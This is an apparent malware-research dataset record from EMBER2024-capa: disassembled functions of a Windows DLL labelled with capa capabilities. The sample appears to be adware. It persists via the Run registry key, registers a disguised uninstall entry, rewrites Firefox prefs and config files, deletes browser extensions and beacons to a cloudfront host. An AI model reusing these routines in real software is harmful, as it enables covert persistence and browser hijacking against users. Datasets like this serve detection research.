joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001746
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
mov dword [ebp - 0xc], ecx
push esi
push esi
lea eax, [ebp - 0xc]
mov dword [ebp - 4], esi
push eax
push 0x100016a3
push esi
push esi
mov dword [ebp - 8], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
jne 0x10001775
xor al, al
jmp 0x10001798
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], eax
setne al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000182e
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
cmp dword [0x100112ec], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, edx
push edi
mov edi, ecx
mov dword [ebp - 0xc], 0x61647075
mov word [ebp - 8], 0x6574
jne 0x10001861
call esi
mov dword [0x100112ec], eax
lea eax, [ebp - 3]
push eax
lea eax, [ebp - 2]
push eax
lea edx, [ebp - 1]
lea ecx, [ebp - 0x34]
call fcn.10004907
pop ecx
pop ecx
test al, al
jne 0x10001881
xor al, al
jmp 0x1000193c
push str.d1mib3adbtgkgp.cloudfront.net
mov edx, 0x10011300
mov ecx, 0x10011308
call fcn.1000161c
pop ecx
test al, al
je 0x1000187a
push dword [ebp + 0x10]
lea eax, [edi + 0x410]
push eax
call esi
xor edx, edx
mov ecx, 0x3e8
div ecx
push eax
call esi
sub eax, dword [0x100112ec]
xor edx, edx
mov ecx, 0x3e8
div ecx
push eax
push dword [ebp + 8]
movzx eax, byte [ebp - 3]
push eax
movzx eax, byte [ebp - 2]
push eax
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [edi + 0x208]
push eax
push edi
push str.003271
push ebx
call esi
xor edx, edx
mov ecx, 0x186a0
div ecx
lea eax, [ebp - 0x448]
push edx
push str.7a7a134
push str.iver_wsrnd_devent_dcampaign_wsbrowsercwibic_wsverifier_wsjs_wsbit_dadm_duac_dintevent_dinc_dup_drbic_ws_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [0x10011300]
lea eax, [ebp - 0xc]
push 6
push eax
lea edx, [ebp - 0x448]
call fcn.1000179d
add esp, 0x4c
mov bl, al
cmp byte [ebp + 0xc], 0
je 0x1000193a
mov edx, 0x10011300
mov ecx, 0x10011308
call fcn.1000167a
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001a5d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push 0xa
mov esi, edx
mov dword [ebp - 8], 0x45f49414
pop eax
cmp esi, eax
mov byte [ebp - 4], 0xfe
mov edi, ecx
cmova esi, eax
xor ecx, ecx
test esi, esi
je 0x10001a98
push ebx
xor edx, edx
mov eax, ecx
push 5
pop ebx
div ebx
mov al, byte [ebp + edx - 8]
xor byte [ecx + edi], al
inc ecx
cmp ecx, esi
jb 0x10001a82
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10001b27
Capabilities:
Create directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
and dword [ebp - 4], 0
cmp byte [ebp + 0x18], 0
push ebx
push esi
mov ebx, edx
mov esi, ecx
je 0x10001b45
call fcn.10003f7f
push 0
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
mov ecx, 0xb7
test eax, eax
je 0x10001b64
cmp eax, ecx
je 0x10001b64
xor al, al
jmp 0x10001c64
cmp eax, ecx
push edi
sete byte [ebp + 0x1b]
and dword [ebp - 0xc], 0
cmp dword [ebp + 8], 0
jbe 0x10001c61
add ebx, 0xc
push dword [ebx]
lea eax, [ebp - 0x21c]
push esi
push str._s_s
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
add esp, 0x14
dec eax
cmp eax, 0x102
ja 0x10001c71
mov eax, dword [ebx - 4]
lea ecx, [ebp - 4]
mov edx, dword [ebx - 8]
push ecx
mov ecx, dword [ebx - 0xc]
push eax
mov dword [ebp - 8], eax
call fcn.10001a9e
pop ecx
pop ecx
test al, al
je 0x10001c71
cmp dword [ebp + 0xc], 0
je 0x10001be6
push dword [ebp + 0x10]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebx]
call dword [ebp + 0xc]
add esp, 0x10
test al, al
je 0x10001c71
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001c71
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10001c6a
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 8]
jne 0x10001c6a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x10001c4a
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [ebp - 0xc]
add ebx, 0x10
and dword [ebp - 4], 0
inc edi
mov dword [ebp - 0xc], edi
cmp edi, dword [ebp + 8]
jb 0x10001b7c
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x10001c89
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [ebp + 0x1b], 0
jne 0x10001c96
mov ecx, esi
call fcn.10003f7f
xor al, al
jmp 0x10001c63
Function at 0x10001c9a
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x18], 4
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push 0x20119
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
mov esi, ecx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10001dba
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push str.InstallDate
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10001dba
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0xa
pop ecx
xor edx, edx
div ecx
mov eax, dword [ebp - 8]
add eax, ecx
add eax, edx
cdq
add eax, 0xb6109100
push ebx
push 0x989680
adc edx, 2
push edx
push eax
call sub.ntdll.dll__allmul
mov dword [ebp - 0x14], eax
mov eax, edx
sar eax, 0x1f
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x10], edx
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToDosDateTime]
test eax, eax
je 0x10001dba
movzx ecx, word [ebp - 0xc]
mov eax, ecx
and eax, 0x1f
push eax
mov eax, ecx
shr ecx, 9
shr eax, 5
and ecx, 0x3f
and eax, 0xf
add ecx, 0x7bc
push eax
push ecx
push str._d_02d_02d
lea eax, [ebp - 0xa0]
push 0x3f
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
add esp, 0x18
test eax, eax
jle 0x10001dba
cmp eax, 0x104
je 0x10001dba
lea eax, [eax*2 + 2]
xor edi, edi
push eax
lea eax, [ebp - 0xa0]
inc edi
push eax
push edi
push ebx
push str.InstallDate
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
movzx ebx, bl
cmove ebx, edi
cmp dword [ebp - 4], 0
je 0x10001dc9
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001dd2
Capabilities:
Delete registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push edi
push edx
push ecx
push str._s___s__2
mov esi, 0x104
lea eax, [ebp - 0x218]
push esi
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.ntdll.dll__snwprintf]
add esp, 0x14
test eax, eax
jle 0x10001f05
cmp eax, esi
je 0x10001f05
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall9563BC59_9556_4805_8CD4_886781779D8D
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x10001f05
mov esi, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esi, 0x618
push esi
call edi
lea eax, [eax*2 + 2]
push eax
push esi
push 1
push ebx
push str.DisplayName
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x10001f05
mov esi, dword [ebp + 0xc]
add esi, 0x820
push esi
call edi
lea eax, [eax*2 + 2]
push eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 1
push ebx
push str.Publisher
push dword [ebp - 4]
call esi
test eax, eax
jne 0x10001f05
push str.1.3.7
call edi
lea eax, [eax*2 + 2]
push eax
push str.1.3.7
push 1
push ebx
push str.DisplayVersion
push dword [ebp - 4]
call esi
test eax, eax
jne 0x10001f05
lea eax, [ebp - 0x218]
push eax
call edi
lea eax, [eax*2 + 2]
push eax
lea eax, [ebp - 0x218]
push eax
push 1
push ebx
push str.UninstallString
push dword [ebp - 4]
call esi
test eax, eax
jne 0x10001f05
push dword [ebp + 8]
call edi
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 8]
push 1
push ebx
push str.Parameters
push dword [ebp - 4]
call esi
test eax, eax
jne 0x10001f05
mov ecx, dword [ebp - 4]
call fcn.10001c9a
mov bl, 1
cmp dword [ebp - 4], 0
je 0x10001f14
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
jne 0x10001f28
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall9563BC59_9556_4805_8CD4_886781779D8D
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001f31
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 0x20c]
push esi
push 0x104
push eax
push str._LOCALAPPDATA__PRODUCTNAME_Component
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
dec eax
cmp eax, 0x102
jbe 0x10001f78
push 0x10006800
push 0
push 0x18
mov edx, 0xc8
mov ecx, esi
call fcn.1000182e
add esp, 0xc
xor al, al
jmp 0x10001fa7
push 1
push ecx
push esi
push 0x1000289b
push 6
mov edx, 0x10011260
lea ecx, [ebp - 0x20c]
call fcn.10001b27
add esp, 0x14
test al, al
jne 0x10001fa5
push 0x10006800
push 0
push 3
jmp 0x10001f65
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10001fac
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
lea eax, [ebp - 0x210]
push ebx
push esi
push edi
push 0x104
push eax
push str._LOCALAPPDATA__PRODUCTNAME_Component2
mov edi, edx
mov esi, ecx
xor bl, bl
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
dec eax
cmp eax, 0x102
jbe 0x10001fe8
push 0x10006800
push 0
push 0x1a
jmp 0x1000201c
mov edx, esi
lea ecx, [ebp - 0x210]
call fcn.100028fc
test al, al
jne 0x10002004
push 0x10006800
push 0
push 0x1b
jmp 0x1000201c
mov edx, esi
mov ecx, edi
call fcn.10002a0b
mov bl, al
test bl, bl
jne 0x1000202d
push 0x10006800
push 0
push 0x1c
mov edx, 0xc8
mov ecx, esi
call fcn.1000182e
add esp, 0xc
jmp 0x1000202f
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002a0b
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc84
and dword [ebp - 0x258], 0
lea eax, [ebp - 0x254]
push ebx
push esi
push edi
push 0x24c
mov edi, ecx
mov ebx, edx
push 0
push eax
mov dword [ebp - 4], edi
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x668]
lea esi, [ebx + 0x410]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov ecx, esi
mov edx, eax
call fcn.10004aff
pop ecx
test al, al
jne 0x10002a66
xor al, al
jmp 0x10002b90
push edi
mov edi, dword [sym.imp.ntdll.dll__snwprintf]
lea eax, [ebp - 0x460]
push str._sdefaultspref
mov esi, 0x104
push esi
push eax
call edi
lea eax, [ebp - 0x668]
push eax
push str.__s.js
lea eax, [ebp - 0xa78]
push esi
push eax
call edi
lea eax, [ebp - 0x460]
push eax
push str._s_.js
lea eax, [ebp - 0x870]
push esi
push eax
call edi
add esp, 0x30
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002b15
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x460]
push eax
push str._s_s
lea eax, [ebp - 0xc80]
push 0x104
push eax
call edi
add esp, 0x14
lea eax, [ebp - 0xc80]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10002acb
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
xor esi, esi
push dword [esi + 0x1001122c]
push str.conf.js
call edi
test eax, eax
jne 0x10002b45
push 0
push ecx
push ebx
lea eax, [ebp - 0xa78]
push fcn.1000295a
lea ecx, [ebp - 0x460]
jmp 0x10002b68
push dword [esi + 0x1001122c]
push str.conf.cfg
call edi
test eax, eax
jne 0x10002b86
push 0
push ecx
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x668]
push ebx
push 0x100029d3
push 1
lea edx, [esi + 0x10011220]
mov dword [esi + str.conf.cfg], eax
call fcn.10001b27
add esp, 0x14
test al, al
je 0x10002a5f
add esi, 0x10
cmp esi, 0x30
jb 0x10002b1d
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100033b6
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x634
lea eax, [ebp - 4]
push esi
push edi
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocString
mov esi, edx
mov edi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x100033e4
xor al, al
jmp 0x10003465
push esi
push edi
push str._s__s
lea eax, [ebp - 0x630]
push 0x30c
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
add esp, 0x14
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
lea eax, [ebp - 0x630]
push eax
mov eax, dword [ebp + 8]
push 1
push 0
add eax, 0x618
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x100033dd
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x630]
call fcn.10004dcf
pop ecx
pop ecx
test al, al
je 0x10003463
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000346b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, 0x104
mov esi, edx
push ebx
push dword [ebp + 8]
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x100034c9
push str._rundll32.exe
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, dword [ebp + 0x10]
mov ecx, edi
call fcn.10005100
test al, al
je 0x100034c9
call dword [sym.imp.KERNEL32.dll_GetVersion]
push esi
push str.__s__3
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.ntdll.dll__snwprintf]
add esp, 0x10
test eax, eax
js 0x100034c9
cmp eax, ebx
je 0x100034c9
mov al, 1
jmp 0x100034cb
xor al, al
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10003c33
Capabilities:
Delete registry value
Persist via run registry key
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
mov esi, ecx
call fcn.10003738
mov ecx, esi
call fcn.100036f2
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x10003c76
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0x210]
push eax
push str._LOCALAPPDATA__PRODUCTNAME_Bin
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
dec eax
pop esi
cmp eax, 0x102
ja 0x10003ca1
lea ecx, [ebp - 0x210]
call fcn.10003f7f
mov esp, ebp
pop ebp
ret

Function at 0x10003ca5
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push esi
mov esi, ecx
lea ecx, [ebp - 0x208]
push edi
call fcn.100046c3
test al, al
je 0x10003d4c
lea eax, [ebp - 0x410]
add esi, 0x410
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov ecx, esi
mov edx, eax
call fcn.10004aff
pop ecx
test al, al
je 0x10003d4c
mov esi, dword [sym.imp.ntdll.dll__snwprintf]
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
mov edi, 0x104
push eax
push 0x10007318
lea eax, [ebp - 0x618]
push edi
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push eax
push str._s_s
lea eax, [ebp - 0x820]
push edi
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x618]
add esp, 0x14
push eax
call esi
lea eax, [ebp - 0x820]
push eax
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10003d52
Capabilities:
Delete file
Enumerate files on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc7c
and dword [ebp - 0x250], 0
lea eax, [ebp - 0x24c]
push ebx
push esi
push edi
push 0x24c
push 0
push eax
mov esi, ecx
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x660]
add esi, 0x410
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov ecx, esi
mov edx, eax
call fcn.10004aff
pop ecx
test al, al
je 0x10003e98
mov esi, 0x104
lea eax, [ebp - 0x458]
push esi
push eax
push str._APPDATA_MozillaFirefoxProfiles
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
dec eax
cmp eax, 0x102
ja 0x10003e98
mov edi, dword [sym.imp.ntdll.dll__snwprintf]
lea eax, [ebp - 0x458]
push eax
push str._s
lea eax, [ebp - 0x868]
push esi
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x868]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10003e98
mov ebx, 0x208
test byte [ebp - 0x250], 0x10
je 0x10003e7b
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x458]
push eax
push str._s_sextensions__s.xpi
lea eax, [ebp - 0xc78]
push ebx
push eax
call edi
add esp, 0x18
lea eax, [ebp - 0xc78]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x660]
push eax
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x458]
push eax
push str._s_sjetpack__s
lea eax, [ebp - 0xc78]
push ebx
push eax
call edi
add esp, 0x18
lea ecx, [ebp - 0xc78]
call fcn.10003f7f
lea eax, [ebp - 0x250]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10003e0c
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003e9f
Capabilities:
Delete registry key
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push ebx
push esi
push edi
mov edi, edx
test edi, edi
je 0x10003f78
lea ebx, [edi + 0x618]
mov ecx, ebx
call fcn.10003ff1
test al, al
je 0x10003f78
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall9563BC59_9556_4805_8CD4_886781779D8D
push SysReAllocString
call esi
push str.SoftwareCLASSESCLSID9563BC59_9556_4805_8CD4_886781779D8D
push SysReAllocString
call esi
mov ecx, ebx
call fcn.10003c33
call fcn.100049d0
mov ecx, str.chrome.exe
call fcn.10004f2f
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x210]
mov ebx, 0x104
push ebx
push eax
push str._LOCALAPPDATA__PRODUCTNAME_Component
call esi
dec eax
cmp eax, 0x102
ja 0x10003f3e
push 0x64
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10003f78
lea ecx, [ebp - 0x210]
call fcn.10003f7f
mov ecx, edi
call fcn.10003ca5
mov ecx, str.firefox.exe
call fcn.10004f2f
push ebx
lea eax, [ebp - 0x420]
push eax
push str._LOCALAPPDATA__PRODUCTNAME_Component2
call esi
dec eax
cmp eax, 0x102
ja 0x10003f71
lea ecx, [ebp - 0x420]
call fcn.10003f7f
mov ecx, edi
call fcn.10003d52
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003f7f
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
and dword [ebp - 0x20], 0
xor eax, eax
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x1c]
push 6
pop ecx
rep stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
mov eax, 0x104
cmp edi, eax
jge 0x10003fea
push eax
push esi
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor eax, eax
mov dword [ebp - 0x1c], 3
mov word [ebp + edi*2 - 0x22a], ax
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x18], eax
mov eax, 0x614
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000433d
Capabilities:
Check if file exists
Get file attributes
Query environment variable

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
push edi
push 0x104
mov esi, ecx
push esi
push str._ProgramFiles_GoogleChromeApplicationchrome.exe
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
dec eax
cmp eax, 0x102
ja 0x1000436f
push esi
call edi
cmp eax, 0xffffffff
je 0x1000436f
mov al, 1
jmp 0x100043c8
push 0x104
push esi
push str._ProgramW6432_GoogleChromeApplicationchrome.exe
call ebx
dec eax
cmp eax, 0x102
ja 0x1000438c
push esi
call edi
cmp eax, 0xffffffff
jne 0x1000436b
push 0x104
push esi
push str._LOCALAPPDATA_GoogleChromeApplicationchrome.exe
call ebx
dec eax
cmp eax, 0x102
ja 0x100043a9
push esi
call edi
cmp eax, 0xffffffff
jne 0x1000436b
push 0x104
push esi
push str._LOCALAPPDATA_ChromeApplicationchrome.exe
call ebx
dec eax
cmp eax, 0x102
ja 0x100043c6
push esi
call edi
cmp eax, 0xffffffff
jne 0x1000436b
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x100044cc
Capabilities:
Check if file exists
Get file attributes
Query environment variable
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
lea eax, [ebp - 0x210]
push ebx
push esi
push edi
push 0x104
push eax
push str._LOCALAPPDATA__PRODUCTNAME_Binc.dat
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
dec eax
cmp eax, 0x102
ja 0x100045b3
xor ebx, ebx
lea eax, [ebp - 0x210]
push ebx
push ebx
push 4
push ebx
push ebx
push 0x1f01ff
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100045b3
push ebx
lea eax, [ebp - 8]
push eax
push 0x208
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000454f
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1000454f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x100045b5
push esi
call fcn.1000542b
pop ecx
test al, al
je 0x1000457b
lea ecx, [ebp - 0x418]
call fcn.1000433d
test al, al
je 0x1000457b
lea eax, [ebp - 0x418]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1000458b
mov edx, esi
mov ecx, 0x100043cc
call fcn.10004310
test al, al
je 0x100045b3
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 1]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x10004544
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100046c3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
mov esi, ecx
mov ecx, 0x100045bc
mov edx, esi
call fcn.10004310
test al, al
je 0x10004711
push esi
push str._s_firefox.exe
lea eax, [ebp - 0x208]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snwprintf]
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
pop esi
mov esp, ebp
pop ebp
ret